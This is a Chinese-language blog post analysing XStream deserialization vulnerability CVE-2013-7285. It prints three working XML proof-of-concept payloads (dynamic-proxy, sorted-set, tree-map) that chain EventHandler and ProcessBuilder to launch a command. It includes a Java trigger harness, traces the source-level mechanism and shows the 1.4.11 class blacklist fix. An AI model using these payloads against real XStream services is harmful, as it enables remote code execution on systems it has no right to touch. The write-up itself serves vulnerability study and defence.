『Java安全』XStream 1.4-1.4.6&1.4.10反序列化漏洞CVE-2013-7285复现与浅析

前言

XStream很贴心的列出了所有cve

https://x-stream.github.io/security.html
在这里插入图片描述

漏洞简介

当XStream反序列化了一个动态代理类,再调用该动态代理类所声明的接口的方法时,就能够触发任意命令执行

XStream序列化和反序列化分析:https://ho1aas.blog.csdn.net/article/details/126250860
动态代理:https://ho1aas.blog.csdn.net/article/details/121647387

影响版本

XStream 1.4-1.4.6、1.4.10

PoC

主流的PoC有以下三种:但原理都一样的

interface(官方PoC)

interface是包含至少一个方法的任意public接口

<contact class='dynamic-proxy'>
    <interface>java.lang.Runnable</interface>
    <handler class='java.beans.EventHandler'>
        <target class='java.lang.ProcessBuilder'>
            <command>
                <string>calc</string>
            </command>
        </target>
        <action>start</action>
    </handler>
</contact>

sorted-set

<sorted-set>
    <string>foo</string>
    <contact class='dynamic-proxy'>
	    <interface>java.lang.Comparable</interface>
	    <handler class='java.beans.EventHandler'>
	        <target class='java.lang.ProcessBuilder'>
	            <command>
	                <string>calc</string>
	            </command>
	        </target>
	        <action>start</action>
	    </handler>
	</contact>
</sorted-set>

tree-map

<tree-map>
    <entry>
        <string>fookey</string>
        <string>foovalue</string>
    </entry>
    <entry>
        <contact class='dynamic-proxy'>
		    <interface>java.lang.Comparable</interface>
		    <handler class='java.beans.EventHandler'>
		        <target class='java.lang.ProcessBuilder'>
		            <command>
		                <string>calc</string>
		            </command>
		        </target>
		        <action>start</action>
		    </handler>
		</contact>
        <string>good</string>
    </entry>
</tree-map>

漏洞复现

对于官方PoC需要手动调用反序列化对象的interface里面声明的方法

package OneFourSix;

import com.thoughtworks.xstream.XStream;
import java.io.FileInputStream;
import java.io.FileNotFoundException;

public class Main {
    public static void main(String[] args) throws FileNotFoundException {
        FileInputStream fis = new FileInputStream("payload.xml");
        XStream xStream = new XStream();
        Runnable r = (Runnable) xStream.fromXML(fis);
        
        r.run();
    }
}

其他两个直接触发即可

代码审计 | 原理分析

interface

首先HierarchicalStreams.readClassType获取序列化对象的类

在这里插入图片描述
调用readClassAttribute获取标签,然后根据标签调用mapper.realClass获取Class对象

在这里插入图片描述
跟进,mapper是自子类向上到父类查找的,来到DynamicProxyMapper.realClass()动态代理类的标签别名是dynamic-proxy,于是返回了动态代理类对象

在这里插入图片描述
返回之前还把查找结果缓存起来了

在这里插入图片描述
回到主方法,接下来就是反序列化的关键步骤

在这里插入图片描述
获取动态代理类的converter

在这里插入图片描述
之后就是反序列化流程,具体可以看我上一篇博客关于源码分析,最后反序列化了一个动态代理类

在这里插入图片描述
由于加入了EventHandler监听器,动态代理类指定了接口,因此调用该接口的方法前就会触发eventHandler(动态代理),因为此时的接口实现类是被handler所持有,先调用eventHandler的方法

在这里插入图片描述

缺点

有个非常大的缺点就是:如何在目标调用接口的方法,或者说不知道目标会调用哪个接口的哪个方法,因为监听接口调用方法才能触发。sorted-set和tree-map解决了这个问题。

sorted-set和tree-map

俩payload原理是一致的,在反序列化过程中:对于set和map对象,首先实例化其中的元素,再把它们添加进set和map,在添加过程中遵守定义,会调用java.lang.Comparable接口的compareTo方法比较元素。所以添加一个其他元素和一个动态代理类在set、map中,添加的时候就会触发compareTo方法比较,进而触发handler的target.action。这就解决了找接口的问题

首先识别到了SortedSet类

在这里插入图片描述
对应的converter是TreeSetConverter

在这里插入图片描述
之后跟到TreeSetConverter.unmarshal()来到populateTreeMap

在这里插入图片描述
实例化空map

在这里插入图片描述
把第一个元素缓存到了map里面

在这里插入图片描述
然后调用populateMap

在这里插入图片描述
之后就是循环取出第1个之后的所有元素存到sortedMap,这里取到的子元素在addCurrentElementToCollection方法中已经反序列化完毕了,细节可以看看该方法

在这里插入图片描述
这里有点乱,总而言之经过populateMap方法,标签里面的所有对象都已经被反序列化取出来存放在sortedMap里面了
在这里插入图片描述
这个sortedMap只是一个缓存的地方,真正的返回值是TreeSet。之后判断JVM是否全部缓存好元素了,然后把sortedMap的缓存元素全部放入TreeSet作为反序列化的返回对象
在这里插入图片描述
在TreeMap的putAll方法中,调用了compareTo方法,比较了第二个动态代理类和第一个key String

在这里插入图片描述
流程总结:

  1. 依次反序列化子元素
  2. 存入set、map的过程中调用了compareTo

通过复合对象的特性从而触发了RCE

新版本修复分析

1.4.11运行,安全报警

在这里插入图片描述
在convertAnother后加入了一个InternalBlackList,是一个converter,黑名单过滤危险类
在这里插入图片描述

    private class InternalBlackList implements Converter {
        private InternalBlackList() {
        }

        public boolean canConvert(Class type) {
            return type == Void.TYPE || type == Void.class || !XStream.this.securityInitialized && type != null && (type.getName().equals("java.beans.EventHandler") || type.getName().endsWith("$LazyIterator") || type.getName().startsWith("javax.crypto."));
        }
        public void marshal(Object source, HierarchicalStreamWriter writer, MarshallingContext context) {
            throw new ConversionException("Security alert. Marshalling rejected.");
        }

        public Object unmarshal(HierarchicalStreamReader reader, UnmarshallingContext context) {
            throw new ConversionException("Security alert. Unmarshalling rejected.");
        }

直接把这几个类拉黑了,匹配到这几个类直接抛出异常,,因此在动态代理反序列化handler的时候直接就ban了

安全框架

https://x-stream.github.io/security.html#framework

另外官方还开发了安全框架,提供黑白名单机制让开发者自由选择可反序列化类

参考

https://x-stream.github.io/CVE-2013-7285.html
https://www.mi1k7ea.com/2019/10/21/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
http://www.pwntester.com/blog/2013/12/23/rce-via-xstream-object-deserialization38/

欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/126297121
版权声明:本文为原创,转载时须注明出处及本声明

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值